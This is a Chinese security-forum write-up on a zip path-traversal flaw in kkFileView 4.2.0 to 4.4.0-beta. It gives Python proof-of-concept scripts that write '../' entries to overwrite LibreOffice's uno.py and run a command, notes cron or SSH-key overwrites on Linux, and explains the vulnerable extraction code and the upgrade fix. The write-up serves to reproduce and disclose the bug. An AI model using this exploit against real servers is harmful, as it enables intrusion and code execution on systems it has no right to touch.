问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
kkFileView任意文件上传
渗透测试
kkFileView任意文件上传
0x01 简介 kkFileView是一个开源的在线文件预览解决方案,支持多种文件格式。 ### 0x02 漏洞概述 前台上传功能支持上传zip,由于未对提取的文件名进行校验,攻击者通过上传包含恶意代码的压缩包并覆盖系统文件实现任意代码执行。 ### 0x03 影响版本 4.2.0 <= kkFileView <= v4.4.0-beta ### 0x04 环境搭建 <https://github.com/kekingcn/kkFileView/releases>下载4.3.0版本源码,idea打开加载依赖  编译成安装包  可能会遇到编译报错,选择使用如下命令忽略测试则可以跳过此错误, mvn install -Dmaven.test.skip=true 成功生成压缩包  解压zip包,进入bin目录,运行startup.bat,搭建成功  ### 0x05 漏洞复现 构造zip,在zip里面必须的有其他另外一个文件: import zipfile if \_\_name\_\_ == "\_\_main\_\_": try: binary1 = b'content\_for\_file\_1' binary2 = b'content\_for\_file\_2' with zipfile.ZipFile("example.zip", "a", zipfile.ZIP\_DEFLATED) as zipFile: zipFile.writestr("file1.txt", binary1) zipFile.writestr("../../../../../../../file2.txt", binary2) except IOError as e: raise e 上传生成的压缩包,并点击预览  成功穿越到D盘,并且内容可控,实现任意文件上传  那么何如在Windows上实现RCE?kkFileView在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容 import zipfile if \_\_name\_\_ == "\_\_main\_\_": try: binary1 = b'hackBy0Fs47' \\ binary2 = b"\\nimport os\\nos.system('calc')" with zipfile.ZipFile("testBy0Fs47.zip", "a", zipfile.ZIP\_DEFLATED) as zipFile: zipFile.writestr("0Fs47Test.txt", binary1) zipFile.writestr("../../LibreOfficePortable/App/libreoffice/program/uno.py", binary2) except IOError as e: raise e 恶意代码成功写入uno.py  上传任意的odt文件,并点击预览  成功执行命令  如果在Linux上部署的,可以通过上面的方式进行rce,当然也可以通过写定时任务或者写公钥的方式达到rce。 ### 0x06 代码分析 cn/keking/service/impl/CompressFilePreviewImpl#filePreviewHandle中的compressFileReader.unRar断点,传入参数:压缩包绝对路径和压缩包名  跟进unRar函数,来到cn/keking/service/CompressFileReader#unRar函数,在处理zip的时候,获取了zip的绝对路径  进入for循环,从zip中提取文件,创建一个输出流并将数据写入一个新的文件中,extractPath为绝对路径,而str\[0\]是我们构造的文件名,并没有进行任何过滤,实现任意文件上传。 OutputStream out \\= new FileOutputStream( extractPath+ folderName + "\_" + File.separator + str\[0\], true);  成功写入文件  ### 0x07 修复方式 查看官网,升级补丁。 ### 0x08 参考 <https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC?tab=readme-ov-file>
发表于 2024-05-07 09:00:02
阅读 ( 18593 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
买橘子
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!